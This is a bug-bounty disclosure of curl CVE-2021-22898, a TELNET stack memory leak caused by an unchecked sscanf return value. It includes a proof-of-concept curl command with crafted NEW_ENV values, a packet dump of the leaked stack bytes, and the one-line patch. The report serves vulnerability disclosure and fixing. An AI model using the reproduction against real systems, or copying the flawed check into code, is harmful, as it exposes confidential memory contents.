Lucene search

K
hackeroneNyymiH1:1176461
HistoryApr 27, 2021 - 9:49 a.m.

curl: CVE-2021-22898: TELNET stack contents disclosure

2021-04-2709:49:43
nyymi
hackerone.com
$1000
13

EPSS

0.002

Percentile

58.3%

Summary:

lib/telnet.c suboption function incorrecly checks for the sscanf return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:
if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
As such it is possible to construct environment values that don’t update the varval buffer and instead use the previous value. In combination of advancing in the temp buffer by strlen(v->data) + 1, this means that there will be uninitialized gaps in the generated output temp buffer. These gaps will contain whatever stack contents from previous operation of the application.

Fortunately the environment is controlled by the client and not the server. As such this vulnerability can’t be exploited by the server. Practical exploitation is limited by the following requirements:

  • attacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS (“NEW_ENV=xxx,yyy”) and control xxx and yyy in the curl_slist entries)
  • attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to

When both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte temp buffer.

Steps To Reproduce:

  1. Run telnet service
  2. tcpdump -i lo -X -s 65535 port 23
  3. Execute
curl -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaa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aaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa telnet://127.0.0.1 <<< foo

You’ll see something like:

        0x0000:  4500 073a 9711 4000 4006 9eaa 7f00 0001  E..:..@.@.......
        0x0010:  7f00 0001 c79c 0017 f499 4092 2173 31a0  ..........@.!s1.
        0x0020:  8018 0200 052f 0000 0101 080a d7e7 b666  ...../.........f
        0x0030:  d7e7 b666 fffa 2700 0061 6161 6161 6161  ...f..'..aaaaaaa
        0x0040:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0050:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0060:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0070:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0080:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0090:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x00a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x00b0:  6161 6161 6161 6161 0100 0000 0000 0000  aaaaaaaa........
        0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00e0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0100:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0110:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0120:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0130:  0000 0000 0000 0000 0061 6161 6161 6161  .........aaaaaaa
        0x0140:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0150:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0160:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0170:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0180:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0190:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x01a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x01b0:  6161 6161 6161 6161 0100 0000 6025 fec0  aaaaaaaa....`%..
        0x01c0:  7c7f 0000 0000 0000 0000 0000 e002 0000  |...............
        0x01d0:  0000 0000 60cd f654 7c55 0000 0088 2975  ....`..T|U....)u
        0x01e0:  780b b94a 0000 0000 0000 0000 c45d b9aa  x..J.........]..
        0x01f0:  fd7f 0000 a05b b9aa fd7f 0000 a05c b9aa  .....[.......\..
        0x0200:  fd7f 0000 2042 f754 7c55 0000 702a f754  .....B.T|U..p*.T
        0x0210:  7c55 0000 0000 0000 0000 0000 148f e7c0  |U..............
        0x0220:  7c7f 0000 3000 0000 3000 0000 505b b9aa  |...0...0...P[..
        0x0230:  fd7f 0000 905a b9aa 0061 6161 6161 6161  .....Z...aaaaaaa
        0x0240:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0250:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0260:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0270:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0280:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0290:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x02a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x02b0:  6161 6161 6161 6161 0100 0000 605d b9aa  aaaaaaaa....`]..
        0x02c0:  fd7f 0000 605d b9aa fd7f 0000 695d b9aa  ....`]......i]..
        0x02d0:  fd7f 0000 ffff ffff ffff ffff 605d b9aa  ............`]..
        0x02e0:  fd7f 0000 ffff ffff ffff ffff 0000 0000  ................
        0x02f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0300:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0310:  0000 0000 1000 0000 0000 0000 7413 f1c0  ............t...
        0x0320:  7c7f 0000 0000 b9aa fd7f 0000 0000 0000  |...............
        0x0330:  0000 0000 1000 0000 0061 6161 6161 6161  .........aaaaaaa
        0x0340:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0350:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0360:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0370:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0380:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0390:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x03a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x03b0:  6161 6161 6161 6161 0100 0000 e82e f754  aaaaaaaa.......T
        0x03c0:  7c55 0000 0000 0000 0000 0000 702a f754  |U..........p*.T
        0x03d0:  7c55 0000 2042 f754 7c55 0000 148f e7c0  |U...B.T|U......
        0x03e0:  7c7f 0000 3000 0000 3000 0000 105d b9aa  |...0...0....]..
        0x03f0:  fd7f 0000 505c b9aa fd7f 0000 0088 2975  ....P\........)u
        0x0400:  780b b94a c05d b9aa fd7f 0000 2042 f754  x..J.].......B.T
        0x0410:  7c55 0000 7f00 0000 0000 0000 0000 0000  |U..............
        0x0420:  0000 0000 0000 0000 0000 0000 0100 0000  ................
        0x0430:  0000 0000 a47b e2c0 0061 6161 6161 6161  .....{...aaaaaaa
        0x0440:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0450:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0460:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0470:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0480:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0490:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x04a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x04b0:  6161 6161 6161 6161 0100 0000 aea3 e7c0  aaaaaaaa........
        0x04c0:  7c7f 0000 1700 0000 0000 0000 1000 0000  |...............
        0x04d0:  3000 0000 005f b9aa fd7f 0000 305e b9aa  0...._......0^..
        0x04e0:  fd7f 0000 0180 adfb fd7f 0000 47f3 f654  ............G..T
        0x04f0:  7c55 0000 49f3 f654 7c55 0000 40f2 f654  |U..I..T|[email protected]
        0x0500:  7c55 0000 40f2 f654 7c55 0000 40f2 f654  |[email protected]|[email protected]
        0x0510:  7c55 0000 40f2 f654 7c55 0000 40f2 f654  |[email protected]|[email protected]
        0x0520:  7c55 0000 49f3 f654 7c55 0000 0000 0000  |U..I..T|U......
        0x0530:  0000 0000 0000 0000 0061 6161 6161 6161  .........aaaaaaa
        0x0540:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0550:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0560:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0570:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0580:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0590:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x05a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x05b0:  6161 6161 6161 6161 0100 0000 1f00 0000  aaaaaaaa........
        0x05c0:  0000 0000 3001 0000 0000 0000 0000 0000  ....0...........
        0x05d0:  0000 0000 0200 0000 3000 0000 6e00 0000  ........0...n...
        0x05e0:  7c00 0000 0000 0000 0000 0000 5b00 0000  |...........[...
        0x05f0:  7700 0000 0000 0000 0000 0000 0000 0000  w...............
        0x0600:  0000 0000 8038 f754 7c55 0000 0000 0000  .....8.T|U......
        0x0610:  0000 0000 1000 0000 0000 0000 b0ff ffff  ................
        0x0620:  ffff ffff 805f b9aa fd7f 0000 2042 f754  ....._.......B.T
        0x0630:  7c55 0000 1a21 f954 0061 6161 6161 6161  |U...!.T.aaaaaaa
        0x0640:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0650:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0660:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0670:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0680:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0690:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x06a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x06b0:  6161 6161 6161 6161 0100 5600 0000 0000  aaaaaaaa..V.....
        0x06c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x06d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x06e0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x06f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0700:  0000 0000 f7f9 bbaa fd7f 0000 0100 0000  ................
        0x0710:  0000 0000 b05f b9aa fd7f 0000 0e5f 07c1  ....._......._..
        0x0720:  7c7f 0000 0100 0000 0000 0000 417b eec0  |...........A{..
        0x0730:  7c7f 0000 6161 6161 fff0                 |...aaaa..

Fix

diff --git a/lib/telnet.c b/lib/telnet.c
index f96a4cb4c..845b59db5 100644
--- a/lib/telnet.c
+++ b/lib/telnet.c
@@ -921,7 +923,7 @@ static void suboption(struct Curl_easy *data)
         size_t tmplen = (strlen(v->data) + 1);
         /* Add the variable only if it fits */
         if(len + tmplen < (int)sizeof(temp)-6) {
-          if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
+          if(sscanf(v->data, "%127[^,],%127s", varname, varval) == 2) {
             msnprintf((char *)&temp[len], sizeof(temp) - len,
                       "%c%s%c%s", CURL_NEW_ENV_VAR, varname,
                       CURL_NEW_ENV_VALUE, varval);

Impact

Leak of potentially confidential information.